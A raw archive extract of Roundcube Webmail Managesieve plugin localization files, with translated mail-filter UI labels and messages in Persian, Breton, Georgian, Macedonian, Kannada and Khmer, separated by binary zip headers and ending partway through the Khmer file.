$labels['flagflagged'] = 'نشانه گذاری شده';
$labels['flagdraft'] = 'پیش نویس';
$labels['varlength'] = 'طول';
$labels['notifyimportancenormal'] = 'عادی';
$labels['notifymethodmailto'] = 'ایمیل';
$labels['nextstep'] = 'مرحله بعدی';
$labels['...'] = '...';
$labels['currdate'] = 'تاریخ کنونی';
$labels['datetest'] = 'تاریخ';
$labels['dateheader'] = 'سرایند:';
$labels['year'] = 'سال';
$labels['month'] = 'ماه';
$labels['day'] = 'روز';
$labels['second'] = 'ثانیه';
$labels['advancedopts'] = 'انتخاب های پیشرفته';
$labels['body'] = 'متن پیام';
$labels['address'] = 'آدرس';
$labels['envelope'] = 'پاکت نامه';
$labels['modifier'] = 'ویرایش کننده:';
$labels['text'] = 'متن';
$labels['contenttype'] = 'نوع محتوا';
$labels['allparts'] = 'همه';
$labels['domain'] = 'دامنه';
$labels['localpart'] = 'جز محلی';
$labels['user'] = 'کاربر';
$labels['detail'] = 'جزئیات';
$labels['comparator'] = 'مقایسه کننده:';
$labels['default'] = 'پیش فرض';
$labels['index'] = 'اندیس';
$labels['spamtestequals'] = 'مساوی با';
$labels['vacation.reply'] = 'پیام پاسخ';
$labels['vacation.advanced'] = 'تنظیمات پیشرفته';
$labels['vacation.subject'] = 'موضوع';
$labels['vacation.body'] = 'متن پیام';
$labels['vacation.status'] = 'وضعیت';
$labels['vacation.on'] = 'فعال';
$labels['vacation.off'] = 'غیرفعال';
$labels['forward.on'] = 'فعال';
$labels['forward.off'] = 'غیرفعال';
$labels['arialabelfilterform'] = 'خصوصیات فیلترها';
$labels['ariasummaryfilterslist'] = 'لیست فیلترها';
$labels['duplicate.header'] = 'سرایند:';
$messages['filterdeleted'] = 'فیلتر با موفقیت حذف شد.';
$messages['filtersaved'] = 'فیلتر با موفقیت ذخیره شد.';
$messages['deactivated'] = 'فیلتر(ها) با موفقیت غیر فعال شدند';
$messages['nametoolong'] = 'نام بسیار بلند است.';
$messages['namereserved'] = 'نام  رزرو شده.';
PKh�\2z�`,`,'plugins/managesieve/localization/br.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Siloù';
$labels['managefilters'] = 'Ardeiñ siloù ar posteloù o tont tre';
$labels['filtername'] = 'Anv ar sil';
$labels['newfilter'] = 'Sil nevez';
$labels['filteradd'] = 'Ouzhpennañ ur sil';
$labels['filterdel'] = 'Dilemel ar sil';
$labels['scope'] = 'Ledennad';
$labels['moveup'] = 'Dilec\'hiañ da grec\'h ';
$labels['movedown'] = 'Dilec\'hiañ d\'an traoñ';
$labels['filterallof'] = 'o kenglotañ gant an holl reolennoù da heul';
$labels['filteranyof'] = 'o kenglotañ gant unan eus ar reolennoù da heul';
$labels['filterany'] = 'An holl posteloù';
$labels['filtercontains'] = 'a endalc\'h';
$labels['filternotcontains'] = 'na endalc\'h ket';
$labels['filteris'] = 'a zo kevatal da';
$labels['filterisnot'] = 'n\'eo ket kevatal da';
$labels['filterexists'] = 'a zo dioutañ/diouti';
$labels['filternotexists'] = 'n\'eus ket dioutañ/diouti';
$labels['filtermatches'] = 'a genglot gant ar riñvenn';
$labels['filternotmatches'] = 'ne genglot ket gant ar riñvenn';
$labels['filterregex'] = 'a genglot gant ar bomm reol';
$labels['filternotregex'] = 'ne genglot ket gant ar bomm reol';
$labels['filterunder'] = 'dindan';
$labels['filterover'] = 'a-us';
$labels['addrule'] = 'Ouzhpennañ ur reolenn';
$labels['delrule'] = 'Dilemel ar reolenn';
$labels['messagemoveto'] = 'Dilec\'hiañ ar gemennadenn da';
$labels['messageredirect'] = 'Adheñchañ ar gemennadenn da';
$labels['messagecopyto'] = 'Eilañ ar postel e';
$labels['messagesendcopy'] = 'Kas un eilenn da';
$labels['messagereply'] = 'Respont gant ur gemennadenn';
$labels['messagedelete'] = 'Dilemel ar postel';
$labels['messagediscard'] = 'Dilezel gant ur gemennadenn';
$labels['messagekeep'] = 'Mirout ar gemennadenn er voest degemer';
$labels['messagesrules'] = 'Evit ar postel o tont-tre:';
$labels['messagesactions'] = '...erounit ar gweredoù da heul:';
$labels['add'] = 'Ouzhpennañ';
$labels['del'] = 'Dilemel';
$labels['sender'] = 'Kaser';
$labels['recipient'] = 'Degemerer';
$labels['vacationaddr'] = 'Ma chomlec\'hioù postel';
$labels['vacationdays'] = 'Feur kas ar c\'hemennadennoù (e devezhioù):';
$labels['vacationinterval'] = 'Feur kas ar c\'hemennadennoù:';
$labels['vacationreason'] = 'Korf ar gemennadenn (abeg an ezvezañs):';
$labels['vacationfrom'] = 'Chomlec\'h kaser ar respont:';
$labels['vacationsubject'] = 'Danvez';
$labels['days'] = 'a zevezhioù';
$labels['seconds'] = 'eilenn';
$labels['rulestop'] = 'Paouez da briziañ ar reolennoù';
$labels['enable'] = '(Di)weredekaat';
$labels['filtersets'] = 'Strolladoù sil';
$labels['filterdef'] = 'Despizadur ar sil';
$labels['active'] = 'gweredekaet';
$labels['none'] = 'hini ebet';
$labels['fromset'] = 'eus ar strollad';
$labels['fromfile'] = 'eus ur restr';
$labels['filterdisabled'] = 'Sil diweredekaet';
$labels['countisgreaterthan'] = 'an niver a zo ouzhpenn';
$labels['countisgreaterthanequal'] = 'an niver a zo ouzhpenn pe kevatal da';
$labels['countislessthan'] = 'An niver a zo nebeutoc\'h eget';
$labels['countislessthanequal'] = 'an niver a zo nebeutoc\'h pe kevatal da';
$labels['countequals'] = 'an niver a zo kevatal da';
$labels['countnotequals'] = 'an niver a zo dishenvel diouzh';
$labels['valueisgreaterthan'] = 'ar werzh a zo brasoc\'h eget';
$labels['valueisgreaterthanequal'] = 'ar gwerzh a zo brasoc\'h pe kevatal da';
$labels['valueislessthan'] = 'ar gwerzh a zo nebeutoc\'h eget';
$labels['valueislessthanequal'] = 'ar gwerzh a zo nebeutoc\'h pe kevatal da';
$labels['valueequals'] = 'ar gwerzh a zo kevatal da';
$labels['valuenotequals'] = 'ar gwerzh n\'eo ket kevatal da';
$labels['setflags'] = 'Lakaat bannieloù d\'ar gemennadenn';
$labels['addflags'] = 'Ouzhpennañ bannieloù d\'ar gemennadenn';
$labels['removeflags'] = 'Dilemel bannieloù diouzh ar gemennaenn';
$labels['flagread'] = 'Lennet';
$labels['flagdeleted'] = 'Dilamet';
$labels['flaganswered'] = 'Repsontet';
$labels['flagflagged'] = 'Bannielet';
$labels['flagdraft'] = 'Brouilhed';
$labels['setvariable'] = 'Lakaat un argemenn';
$labels['setvarname'] = 'Anv an argemenn';
$labels['setvarvalue'] = 'Gwerzh an argemenn';
$labels['setvarmodifiers'] = 'Daskemmerien:';
$labels['varlower'] = 'lizherennoù munut';
$labels['varupper'] = 'pennlizherennoù';
$labels['varlowerfirst'] = 'lizherenn gentañ munut';
$labels['varupperfirst'] = 'lizherenn gentañ bras';
$labels['varquotewildcard'] = 'menegiñ arouezennoù dibar';
$labels['varlength'] = 'hirder';
$labels['notify'] = 'Kas ur rebuziñ';
$labels['notifytarget'] = 'Bukenn ar rebuziñ:';
$labels['notifymessage'] = 'Kemennadenn rebuziñ (diret):';
$labels['notifyoptions'] = 'Dibarzhioù rebuziñ (diret):';
$labels['notifyfrom'] = 'Kaser rebuzi (diret):';
$labels['notifyimportance'] = 'Pouezusted:';
$labels['notifyimportancelow'] = 'izel';
$labels['notifyimportancenormal'] = 'reoliek';
$labels['notifyimportancehigh'] = 'uhel';
$labels['notifymethodmailto'] = 'Chomlec\'h postel';
$labels['notifymethodtel'] = 'Pellgomz';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Krouiñ ur sil';
$labels['usedata'] = 'Ober gant ar roadennoù da heul er sil';
$labels['nextstep'] = 'Pazenn da heul';
$labels['...'] = '...';
$labels['currdate'] = 'Deiziad bremanel';
$labels['datetest'] = 'Deiziad';
$labels['dateheader'] = 'talbenn:';
$labels['year'] = 'bloavezh';
$labels['month'] = 'miz';
$labels['day'] = 'devezh';
$labels['date'] = 'deiziad (bbbb-mm-dd)';
$labels['julian'] = 'deiziad (julian)';
$labels['hour'] = 'eur';
$labels['minute'] = 'munutenn';
$labels['second'] = 'eilenn';
$labels['time'] = 'eur (eur:miz:eilennoù)';
$labels['iso8601'] = 'deiziad (ISO8601)';
$labels['std11'] = 'deiziad (RFC2822)';
$labels['zone'] = 'gwerzhid-eur';
$labels['weekday'] = 'devezh ar sizhun (0-6)';
$labels['advancedopts'] = 'Dibarzhioù kempleshoc\'h';
$labels['body'] = 'Korf';
$labels['address'] = 'chomlec\'h';
$labels['envelope'] = 'golo-lizher';
$labels['modifier'] = 'dazkemmer:';
$labels['text'] = 'testenn';
$labels['undecoded'] = 'dienboneget (diaoz)';
$labels['contenttype'] = 'rizh an endalc\'had';
$labels['modtype'] = 'rizh:';
$labels['allparts'] = 'an holl';
$labels['domain'] = 'domani';
$labels['localpart'] = 'lodenn lec\'hel';
$labels['user'] = 'arveriad';
$labels['detail'] = 'munud';
$labels['comparator'] = 'keñverier';
$labels['default'] = 'dre ziouer';
$labels['octet'] = 'strizh (eizhbit)';
$labels['asciicasemap'] = 'chom hep teurel evezh ouzh an direnneg (ascii-casemap)';
$labels['asciinumeric'] = 'niverel (ascii-numeric)';
$labels['index'] = 'ibil:';
$labels['indexlast'] = 'war-gil';
$labels['spamtestequals'] = 'a zo kevatal da';
$labels['spamtestnotequals'] = 'n\'eo ket kevatal da';
$labels['vacation.reply'] = 'Kemennadenn respont';
$labels['vacation.advanced'] = 'Arventennoù kempleshoc\'h';
$labels['vacation.from'] = 'Chomlec\'h kaser ar respont';
$labels['vacation.subject'] = 'Danvez';
$labels['vacation.body'] = 'Korf';
$labels['vacation.status'] = 'Stad';
$labels['vacation.on'] = 'Ya';
$labels['vacation.off'] = 'Ket';
$labels['vacation.addresses'] = 'Ma chomlec\'hioù postel';
$labels['vacation.interval'] = 'Etremez respont';
$labels['vacation.saving'] = 'Oc\'h enrollañ ar roadennoù';
$labels['vacation.action'] = 'Gwered kemennadenn o tont-tre';
$labels['vacation.keep'] = 'Mirout';
$labels['vacation.discard'] = 'Dilezel';
$labels['vacation.redirect'] = 'Adheñchañ da';
$labels['vacation.copy'] = 'Kas un eilenn da';
$labels['forward.redirect'] = 'Adheñchañ da';
$labels['forward.copy'] = 'Kas un eilenn da';
$labels['forward.on'] = 'Ya';
$labels['forward.off'] = 'Ket';
$labels['forward.saving'] = 'Oc\'h enrollañ ar roadennoù';
$labels['filladdresses'] = 'Leuniañ gant ma holl chomlec\'hioù';
$labels['arialabelfiltersetactions'] = 'Gweredeoù ar strollad siloù';
$labels['arialabelfilteractions'] = 'Gweredoù ar sil';
$labels['arialabelfilterform'] = 'Perzhioù ar sil';
$labels['ariasummaryfilterslist'] = 'Roll ar siloù';
$labels['ariasummaryfiltersetslist'] = 'Roll ar strolladoù siloù';
$labels['filterstitle'] = 'Embann ar siloù posteloù o tont-tre';
$labels['vacationtitle'] = 'Embann ar reolenn maez-ar-burev';
$labels['message'] = 'Kemennadenn';
$labels['duplicate'] = 'a zo un eilad';
$labels['notduplicate'] = 'n\'eo ket un eilad';
$labels['duplicate.handle'] = 'merañ:';
$labels['duplicate.header'] = 'talbenn:';
$labels['duplicate.uniqueid'] = 'naoudi:';
$labels['duplicate.seconds'] = 'diamzeret (eilennoù):';
$labels['duplicate.last'] = 'daveel d\'an erounezadur kent';
$messages['filterunknownerror'] = 'Fazi dafariad dianav.';
$messages['filterconnerror'] = 'N\'haller ket kennaskañ d\'an dafariad';
$messages['filterdeleteerror'] = 'N\'haller ket dilemel ar sil. Ur fazi dafariad a zo c\'hoavezet.';
$messages['filterdeleted'] = 'Sil dilamet gant berzh.';
$messages['filtersaved'] = 'Sil enrollet gant berzh.';
$messages['filtersaveerror'] = 'N\'haller ket enrollañ ar sil. Ur fazi dafariad a zo c\'hoarvezet.';
$messages['filterformerror'] = 'Fazio a zo e furmskrid ar sil.';
$messages['filterdeleteconfirm'] = 'Fellout a ra deoc\'h dilemel ar sil dibabet?';
$messages['ruledeleteconfirm'] = 'Fellout a ra deoc\'h dilemel ar reolenn diuzet?';
$messages['actiondeleteconfirm'] = 'Fellout a ra deoc\'h dilemel ar gwered diuzet?';
$messages['forbiddenchars'] = 'Arouezennoù difennet er vaezienn.';
$messages['cannotbeempty'] = 'N\'hall ket ar vaezienn bezañ goullo.';
$messages['ruleexist'] = 'Ur sil gant an anv erspizet an zo dioutañ endeo.';
$messages['activateerror'] = 'N\'haller ket gweredekaat ar sil(où) diuzet. Ur fazi dafariad a zo c\'hoarvezet.';
$messages['deactivateerror'] = 'N\'haller ket diweredekaat ar sil(où) diuzet. Ur fazi dafariad a zo c\'hoarvezet.';
$messages['deactivated'] = 'Sil(où) diweredekaet gant berzh.';
$messages['activated'] = 'Sil(où) diweredekaet gant berzh.';
$messages['moved'] = 'Sil(où) dilec\'hiet gant berzh.';
$messages['moveerror'] = 'N\'haller ket dilec\'hiañ ar sil diuzet. Ur fazi dafariad a zo c\'hoarvezet.';
$messages['nametoolong'] = 'Re hir eo an anv.';
$messages['namereserved'] = 'Miret eo an anv.';
$messages['setexist'] = 'Ar strollad a zo anezhañ endeo.';
$messages['nodata'] = 'Ul lec\'hiadur a rank bezañ diuzet d\'an nebeutañ!';
$messages['invaliddateformat'] = 'Mentrezh deiziad pe lodenn deiziad didalvoudek';
$messages['saveerror'] = 'N\'haller ket enrollañ ar roadennoù. Ur fazi dafariad a zo c\'hoarvezet.';
$messages['emptyvacationbody'] = 'Dleet eo korf ar gemennadenn ezvezañs!';
$messages['duplicate.conflict.err'] = 'Un talbenn hag un naoudi unel n\'int ket aotreet.';
PKh�\]�(II*plugins/managesieve/localization/ka_GE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['messagedelete'] = 'წაშლა';
$labels['add'] = 'დამატება';
$labels['del'] = 'წაშლა';
$labels['sender'] = 'გამგზავნელი';
$labels['flagread'] = 'წაკითხვა';
$labels['flagdeleted'] = 'წაშლილი';
$labels['flagflagged'] = 'მონიშნული';
$labels['notifymethodmailto'] = 'ელ–ფოსტა';
$labels['notifymethodtel'] = 'ტელეფონი';
$labels['datetest'] = 'თარიღი';
$labels['advancedopts'] = 'დამატებითი პარამეტრები';
$labels['body'] = 'შეტყობინების ტექსტი';
$labels['vacation.subject'] = 'სათაური';
$labels['vacation.body'] = 'შეტყობინების ტექსტი';
PKh�\�#8�8�8*plugins/managesieve/localization/mk_MK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Филтри ';
$labels['managefilters'] = 'Управувај филтри за дојдовна пошта';
$labels['filtername'] = 'Име на филтер ';
$labels['newfilter'] = 'Нов филтер ';
$labels['filteradd'] = 'Додај филтер ';
$labels['filterdel'] = 'Избришај филтер ';
$labels['scope'] = 'Опсег';
$labels['moveup'] = 'Помести нагоре ';
$labels['movedown'] = 'Помести надолу ';
$labels['filterallof'] = 'Појавување на сите од следниве правила';
$labels['filteranyof'] = 'Појавување на било кои од следниве правила';
$labels['filterany'] = 'Сите пораки ';
$labels['filtercontains'] = 'Содржи';
$labels['filternotcontains'] = 'Не содржи';
$labels['filteris'] = 'Е еднакво на ';
$labels['filterisnot'] = 'Не е еднакво на ';
$labels['filterexists'] = 'Постои ';
$labels['filternotexists'] = 'Не постои ';
$labels['filtermatches'] = 'Се совпаѓаат изразувањата ';
$labels['filternotmatches'] = 'Не се совпаѓаат изразувањата';
$labels['filterregex'] = 'Се совпаѓаат регуларни изразувања';
$labels['filternotregex'] = 'Не се совпаѓаат регуларни изразувања';
$labels['filterunder'] = 'Под ';
$labels['filterover'] = 'Над';
$labels['addrule'] = 'Додај правило';
$labels['delrule'] = 'Избришај правило';
$labels['messagemoveto'] = 'Премести порака во ';
$labels['messageredirect'] = 'Пренасочи порака до ';
$labels['messagecopyto'] = 'Копирај порака до ';
$labels['messagesendcopy'] = 'Прати порака до ';
$labels['messagereply'] = 'Врати со порака ';
$labels['messagedelete'] = 'Избриши порака ';
$labels['messagediscard'] = 'Отфрли со порака ';
$labels['messagekeep'] = 'Задржи ја пораката во дојдовно сандаче ';
$labels['messagesrules'] = 'За дојдовна пошта:';
$labels['messagesactions'] = '...Изврши ги следните акции:';
$labels['add'] = 'Додај';
$labels['del'] = 'Избриши';
$labels['sender'] = 'Праќач';
$labels['recipient'] = 'Примач';
$labels['vacationaddr'] = 'Мојата електорнска пошта:';
$labels['vacationdays'] = 'Колку често праќа пораки (дневно):';
$labels['vacationinterval'] = 'Колку често праќа пораки:';
$labels['vacationreason'] = 'Тело на порака (причина за одмор)';
$labels['vacationfrom'] = 'Врати адреса на испраќач:';
$labels['vacationsubject'] = 'Предмет на порака ';
$labels['days'] = 'Денови';
$labels['seconds'] = 'Секунди';
$labels['rulestop'] = 'Престани да евалуираш правила ';
$labels['enable'] = 'Овозможи/Оневозможи';
$labels['filtersets'] = 'Сетови филтри';
$labels['filterseteditraw'] = 'Уреди го филтер сетот ';
$labels['filterdef'] = 'Дефиниција на филтер ';
$labels['active'] = 'Активен';
$labels['none'] = 'Нема ';
$labels['fromset'] = 'од сет ';
$labels['fromfile'] = 'од папка';
$labels['filterdisabled'] = 'Филтер исклучен';
$labels['countisgreaterthan'] = 'Бројот е поголем од ';
$labels['countisgreaterthanequal'] = 'бројот е поголем од или еднаков на ';
$labels['countislessthan'] = 'бројот е помал од ';
$labels['countislessthanequal'] = 'бројот е помл од или еднаков на ';
$labels['countequals'] = 'бројот е еднаков на ';
$labels['countnotequals'] = 'бројот не е еднаков на ';
$labels['valueisgreaterthan'] = 'вредноста е поголема од ';
$labels['valueisgreaterthanequal'] = 'вредноста е поголема од или еднаква на ';
$labels['valueislessthan'] = 'вредноста е помала од ';
$labels['valueislessthanequal'] = 'вредноста е помало од или еднаква на ';
$labels['valueequals'] = 'вредноста е еднаква на ';
$labels['valuenotequals'] = 'вредноста не е еднаква на ';
$labels['setflags'] = 'Постави знамиња на пораката ';
$labels['addflags'] = 'Додај знамиња на пораката ';
$labels['removeflags'] = 'Тргни знамиња од пораката ';
$labels['flagread'] = 'Читај';
$labels['flagdeleted'] = 'Избришани';
$labels['flaganswered'] = 'Одговорени';
$labels['flagflagged'] = 'Означени';
$labels['flagdraft'] = 'Предлог';
$labels['setvariable'] = 'Постави променлива';
$labels['setvarname'] = 'Име на променлива:';
$labels['setvarvalue'] = 'Вредност на променлива:';
$labels['setvarmodifiers'] = 'Модификатори:';
$labels['varlower'] = 'мали букви';
$labels['varupper'] = 'големи букви';
$labels['varlowerfirst'] = 'мала прва буква';
$labels['varupperfirst'] = 'голем прва буква';
$labels['varquotewildcard'] = 'цитирај специјален карактер ';
$labels['varlength'] = 'должина';
$labels['notify'] = 'Испрати известување';
$labels['notifytarget'] = 'Цел на известување:';
$labels['notifymessage'] = 'Порака за известување (незадолжително):';
$labels['notifyoptions'] = 'Опции за известување (незадолжително):';
$labels['notifyfrom'] = 'Известување за испраќачот (незадолжително):';
$labels['notifyimportance'] = 'Важност:';
$labels['notifyimportancelow'] = 'ниско';
$labels['notifyimportancenormal'] = 'нормално';
$labels['notifyimportancehigh'] = 'високо';
$labels['notifymethodmailto'] = 'Електронска пошта';
$labels['notifymethodtel'] = 'Телефон';
$labels['notifymethodsms'] = 'СМС';
$labels['filtercreate'] = 'Креирај филтер';
$labels['usedata'] = 'Искористи ги следните податоци за филтер:';
$labels['nextstep'] = 'Следен чекор';
$labels['...'] = '...';
$labels['string'] = 'Низа';
$labels['currdate'] = 'Денешна дата ';
$labels['datetest'] = 'Дата ';
$labels['dateheader'] = 'Заглавие';
$labels['year'] = 'година';
$labels['month'] = 'месец';
$labels['day'] = 'ден';
$labels['date'] = 'дата (гггг-мм-дд)';
$labels['julian'] = 'дата (јулијански календар)';
$labels['hour'] = 'час';
$labels['minute'] = 'минута';
$labels['second'] = 'секунда';
$labels['time'] = 'време (чч:мм:сс)';
$labels['iso8601'] = 'дата (ISO8601)';
$labels['std11'] = 'дата (RFC2822)';
$labels['zone'] = 'временска зона';
$labels['weekday'] = 'ден од неделата (0-6)';
$labels['advancedopts'] = 'Напредни опции';
$labels['body'] = 'Тело';
$labels['address'] = 'адреса';
$labels['envelope'] = 'плик';
$labels['modifier'] = 'модификатор:';
$labels['text'] = 'текст';
$labels['undecoded'] = 'Недекодирано (сурово)';
$labels['contenttype'] = 'тип на содржина';
$labels['modtype'] = 'Тип:';
$labels['allparts'] = 'сите ';
$labels['domain'] = 'домен';
$labels['localpart'] = 'локален дел';
$labels['user'] = 'корисник';
$labels['detail'] = 'детал';
$labels['comparator'] = 'Компаратор:';
$labels['default'] = 'стандардно';
$labels['octet'] = 'строг (октет)';
$labels['asciicasemap'] = 'Нечуствителен за големи и мали букви (ascii-csemap)';
$labels['asciinumeric'] = 'Нумерички (ascii-numeric)';
$labels['index'] = 'Индекс:';
$labels['indexlast'] = 'наназад';
$labels['spamtestequals'] = 'Е еднакво на ';
$labels['spamtestnotequals'] = 'Не е еднакво на ';
$labels['vacation.reply'] = 'Порака за одговор ';
$labels['vacation.advanced'] = 'Напредни подесувања';
$labels['vacation.from'] = 'Одговори на адресата на испраќачот';
$labels['vacation.subject'] = 'Предмет';
$labels['vacation.body'] = 'Тело';
$labels['vacation.status'] = 'Статус ';
$labels['vacation.on'] = 'Вклучи';
$labels['vacation.off'] = 'Исклучи';
$labels['vacation.addresses'] = 'Моите електронски пошти';
$labels['vacation.interval'] = 'Интервал на враќање ';
$labels['vacation.saving'] = 'Зачувување на податок...';
$labels['vacation.action'] = 'Акција за дојдовна порака';
$labels['vacation.keep'] = 'Задржи';
$labels['vacation.discard'] = 'Отфрли';
$labels['vacation.redirect'] = 'Пренасочи до';
$labels['vacation.copy'] = 'Испрати копија до ';
$labels['forward.redirect'] = 'Пренасочи до';
$labels['forward.copy'] = 'Испрати копија до ';
$labels['forward.on'] = 'Вклучи';
$labels['forward.off'] = 'Исклучи';
$labels['forward.saving'] = 'Зачувување на податок...';
$labels['filladdresses'] = 'Пополни со сите мои адреси ';
$labels['arialabelfiltersetactions'] = 'Акции на филтер сет ';
$labels['arialabelfilteractions'] = 'Акции на филтер ';
$labels['arialabelfilterform'] = 'Својства на филтер ';
$labels['ariasummaryfilterslist'] = 'Иста од филтри';
$labels['ariasummaryfiltersetslist'] = 'Листа од филтер сетови';
$labels['filterstitle'] = 'Уреди ги дојдовните филтри за пошта ';
$labels['vacationtitle'] = 'Уреди го надвор од канцеларија правилото';
$labels['message'] = 'Порака ';
$labels['duplicate'] = 'е дупликат ';
$labels['notduplicate'] = 'не е дупликат';
$labels['duplicate.handle'] = 'Справи се со:';
$labels['duplicate.header'] = 'заглавие:';
$labels['duplicate.uniqueid'] = 'идентификатор:';
$labels['duplicate.seconds'] = 'Истек на време (секунди):';
$labels['duplicate.last'] = 'Во однос на последното извршување';
$messages['filterunknownerror'] = 'Непозната грешка на серверот.';
$messages['filterconnerror'] = 'Не може да се поврзе со серверот .';
$messages['filterdeleteerror'] = 'Не може да се избришат филтри. Настана грешка со серверот  ';
$messages['filterdeleted'] = 'Филтерот е успешно избришан';
$messages['filtersaved'] = 'Филтерот е успешно зачуван';
$messages['filtersaveerror'] = 'Не може да се зачува филтерот. Настана грешка со серверот ';
$messages['filterformerror'] = 'Формата за филтер содржи грешка';
$messages['filterdeleteconfirm'] = 'Дали навистина сакате да го избришате избраниот филтер?';
$messages['ruledeleteconfirm'] = 'Дали сте сигурни дека сакате да го избришате избраното правило?';
$messages['actiondeleteconfirm'] = 'Дали сте сигурни дека сакате да го избришате избранота акција?';
$messages['forbiddenchars'] = 'Забранет карактер во полето.';
$messages['cannotbeempty'] = 'Полето не може да биде празно.';
$messages['ruleexist'] = 'Веќе постои филтер со избраното поле.';
$messages['activateerror'] = 'Не може да се овозможи селектираниот филтер(и). настана грешка со серверот.';
$messages['deactivateerror'] = 'Не може да се оневозможи избраниот филтер(и). Настана грешка со серверот.';
$messages['deactivated'] = 'Филтер(и) е успешно оневозможен.';
$messages['activated'] = 'Филтер(и) е успешно овозможен.';
$messages['moved'] = 'Филтерот е успешно преместен.';
$messages['moveerror'] = 'Не може да се премести избраниот филтер. Настана грешка со серверот.';
$messages['nametoolong'] = 'Името е премногу долго.';
$messages['namereserved'] = 'Резервирано име.';
$messages['setexist'] = 'Сетот веќе постои.';
$messages['nodata'] = 'Мора барем една позиција да биде селектирана!';
$messages['invaliddateformat'] = 'Невалиден датум или дел од форматот за датум';
$messages['saveerror'] = 'Податокот не може да се зачува. Настана грешка со серверот.';
$messages['emptyvacationbody'] = 'Потребно е тело на пораката за одмор!';
$messages['duplicate.conflict.err'] = 'Заглавје и единствен идентификатор не се дозволени.';
PKh�\�R`�NN*plugins/managesieve/localization/kn_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['messagedelete'] = 'ಸಂದೇಶ ಅಳಿಸು';
$labels['add'] = 'ಸೇರಿಸು';
$labels['notifymethodmailto'] = 'ಇಮೇಲ್';
$labels['notifymethodtel'] = 'ದೂರವಾಣಿ';
$labels['datetest'] = 'ದಿನಾಂಕ ';
$labels['vacation.subject'] = 'ವಿಷಯ';
PKh�\ĕ��]]*plugins/managesieve/localization/km_KH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'តម្រង';
$labels['managefilters'] = 'គ្រប់គ្រង​តម្រប​សំបុត្រ​ចូល';
$labels['filtername'] = 'ឈ្មោះ​តម្រង';
$labels['newfilter'] = 'តម្រង​ថ្មី';
$labels['filteradd'] = 'បន្ថែម​តម្រង';
$labels['filterdel'] = 'លុប​តម្រង';
$labels['moveup'] = 'រុញ​ទៅ​លើ';
$labels['movedown'] = 'រុញ​ចុះ​ក្រោម';
$labels['filterallof'] = 'ត្រូវ​គ្នា​ទៅ​នឹង​លក្ខខណ្ឌ​ទាំង​នេះ';
$labels['filteranyof'] = 'ត្រូវ​គ្នា​ទៅ​នឹង​លក្ខខណ្ឌ​ណាមួយ';
$labels['filterany'] = 'សារ​ទាំង​អស់';
$labels['filtercontains'] = 'មាន​ផ្ទុក';
$labels['filternotcontains'] = 'មិន​មាន';
$labels['filteris'] = 'ស្មើ​នឹង';
$labels['filterisnot'] = 'មិន​ស្មើ​នឹង';
$labels['filterexists'] = 'មាន';
$labels['filternotexists'] = 'មិន​មាន';
$labels['filtermatches'] = 'សញ្ញាណ​ដែល​ត្រូវ';
$labels['filterunder'] = 'ក្រោម';
$labels['filterover'] = 'លើ';
$labels['addrule'] = 'បន្ថែម​លក្ខខណ្ឌ';
$labels['delrule'] = 'លុប​លក្ខខណ្ឌ';
$labels['messagemoveto'] = 'ផ្លាស់​ទី​សារ​ទៅ';
$labels['messageredirect'] = 'ប្ដូរ​ទិសដៅ​សារ​ទៅ';
$labels['messagecopyto'] = 'ចម្លង​សារ​ទៅ';
$labels['messagesendcopy'] = 'ផ្ញើ​ការ​ចម្លង​សារ​ទៅ';
$labels['messagereply'] = 'ឆ្លើយ​តប​ជាមួយ​សារ';
$labels['messagedelete'] = 'លុប​សារ';
$labels['messagediscard'] = 'បោះបង់​ជាមួយ​នឹង​សារ';
$labels['messagesrules'] = 'សម្រាប់​សំបុត្រ​ចូល៖';
$labels['messagesactions'] = '...ប្រតិបត្តិ​សកម្មភាព​ទាំង​នេះ៖';
$labels['add'] = 'បន្ថែម';
$labels['del'] = 'លុប';
$labels['sender'] = 'អ្នក​ផ្ញើ';
$labels['recipient'] = 'អ្នក​ទទួល';
$labels['vacationdays'] = 'តើ​ផ្ញើ​សារ​ញឹកញាប់​ប៉ុណ្ណា (ក្នុង​មួយ​ថ្ងៃ)៖';
$labels['vacationreason'] = 'តួ​សារ (ហេតុផល​វិស្សមកាល)៖';
$labels['vacationsubject'] = 'ប្រធានបទ​សារ៖';
$labels['days'] = 'ថ្ងៃ';
